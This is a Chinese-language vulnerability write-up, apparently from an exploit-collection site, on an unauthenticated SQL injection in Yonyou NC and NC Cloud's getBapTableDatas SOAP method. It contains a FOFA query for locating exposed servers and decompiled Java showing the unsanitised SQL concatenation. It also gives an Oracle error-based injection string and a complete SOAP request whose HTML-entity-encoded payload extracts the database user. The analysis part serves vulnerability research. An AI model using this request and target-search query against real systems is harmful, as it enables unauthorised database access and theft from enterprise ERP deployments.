用友NC及NC Cloud系统 getBapTableDatas SQL注入漏洞


漏洞简介

用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC Cloud nc.itf.bap.service.IBapIOService 接口的 getBapTableDatas 存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进一步利用可导致服务器失陷。

影响版本

NC65、NCC1903、NCC1909、NCC2005、NCC2105、NCC2111

fofa语法

app="用友-UFIDA-NC"

漏洞分析

先看 getBapTableDatas 业务逻辑的实现

public BapTableData[] getBapTableDatas(String ... tableIds) throws Exception {
    PerfWatch pw = new PerfWatch(NCLangRes4VoTransl.getNCLangRes().getStrByID("8001006_0", "08001006-0275") + StringTools.arr2Str((Object[])tableIds, (String)","));
    try {
        if (ArrayUtils.isEmpty((Object[])tableIds)) {
            BapTableData[] bapTableDataArray = new BapTableData[]{};
            return bapTableDataArray;
        }
        ArrayList<BapTableData> dataList = new ArrayList<BapTableData>();
        for (String tableId : tableIds) {
            MetaTableDef tableDef = this.getMetaDef(tableId);
            if (tableDef == null) {
            ......

在判断传入的 tableIds不为空时,根据传入的多个 tableId 分别调用 getMetaDef 函数,其实现如下

private MetaTableDef getMetaDef(String tableId) throws SmartMetaException {
    Object[] splits = tableId.split("@");
    if (ArrayUtils.isEmpty((Object[])splits) || splits.length < 2) {
        String message = NCLangRes4VoTransl.getNCLangRes().getStrByID("8001006_0", "08001006-0273") + tableId;
        throw new RuntimeException(message);
    }
    MetaTableDef tableDef = SmartMetaUtilities.getSmartMetaService().getMetaTableByTableName((String)splits[1], (String)splits[0]);
    if (tableDef == null) {
    ......

tableId 参数的输入格式应为 dsName@tableName,即通过@符号将数据源名称(dsName)表名(tableName)分隔的字符串。

然后将分割后的数组前两部分分别带入 getMetaTableByTableName 函数中,其实现如下

public MetaTableDef getMetaTableByTableName(String dsName, String tableName) throws SmartMetaException {
    if (StringUtils.isEmpty((String)tableName)) {
        return null;
    }
    String clause = " upper(tableid)='" + tableName.toUpperCase() + "' ";
    clause = StringUtils.isEmpty((String)dsName) ? clause + "and isnull(dsname,'~')='~' " : clause + "and upper(dsname)='" + dsName.toUpperCase() + "'";
    Object[] datas = new DAOAction().loadByClause(MetaTable.class, SmartConfigCache.getDsName4Design(), clause);
    MetaTable table = null;
  • tableId[0] 对应 tableName
  • tableId[1] 对应 dsName

需要满足 tableName 不为空,否则直接返回null ,其次是 dsName 的处理逻辑

  • dsName为空:添加条件isnull(dsname,'~')='~',表示查询dsname为空的记录。
  • dsName非空:添加条件upper(dsname)=dsName.upper()

tableNamedsName 均是转为换大写后直接拼接进SQL语句中执行,无任何过滤,造成SQL注入漏洞

漏洞复现

测试报错sql语句如下

SELECT guid,dsname,tableid,displayname,displayname2,displayname3,displayname4,displayname5,displayname6,moduleid,authtype,help,creationtime,modifiedtime,creator,modifier,pk_org,pk_group,dirguid,dr,ts,assetLayer,assetIndustry FROM bi_md_table WHERE  upper(tableid)='1' AND (SELECT DBMS_XDB_VERSION.CHECKIN((SELECT BANNER FROM SYS.V_$VERSION WHERE ROWNUM=1)) FROM DUAL) IS NOT NULL --' and upper(dsname)='XXX'

也是符合上面的漏洞分析部分

POST /uapws/service/nc.itf.bap.service.IBapIOService HTTP/1.1
Host: ncc.mrxn.net
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gs="http://service.bap.itf.nc/IBapIOService">
    <soapenv:Header/>
    <soapenv:Body>
        <gs:getBapTableDatas>
            <gs:stringarrayItem>&#x44;&#x57;&#x51;&#x75;&#x65;&#x75;&#x65;&#x40;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x51;&#x75;&#x65;&#x75;&#x65;&#x27;&#x20;&#x41;&#x4e;&#x44;&#x20;&#x31;&#x3d;&#x55;&#x54;&#x4c;&#x5f;&#x49;&#x4e;&#x41;&#x44;&#x44;&#x52;&#x2e;&#x47;&#x45;&#x54;&#x5f;&#x48;&#x4f;&#x53;&#x54;&#x5f;&#x41;&#x44;&#x44;&#x52;&#x45;&#x53;&#x53;&#x28;&#x27;&#x7e;&#x27;&#x7c;&#x7c;&#x28;&#x75;&#x73;&#x65;&#x72;&#x29;&#x7c;&#x7c;&#x27;&#x7e;&#x27;&#x29;&#x2d;&#x2d;&#x20;&#x61;&#x62;&#x63;
</gs:stringarrayItem>
        </gs:getBapTableDatas>
    </soapenv:Body>
</soapenv:Envelope>

成功利用报错注入得到数据库用户名

参考


手机扫码阅读

JeeWMS cgformTemplateController.do 文件读取漏洞

Optilink 管理系统 gene.php 命令执行漏洞

评 论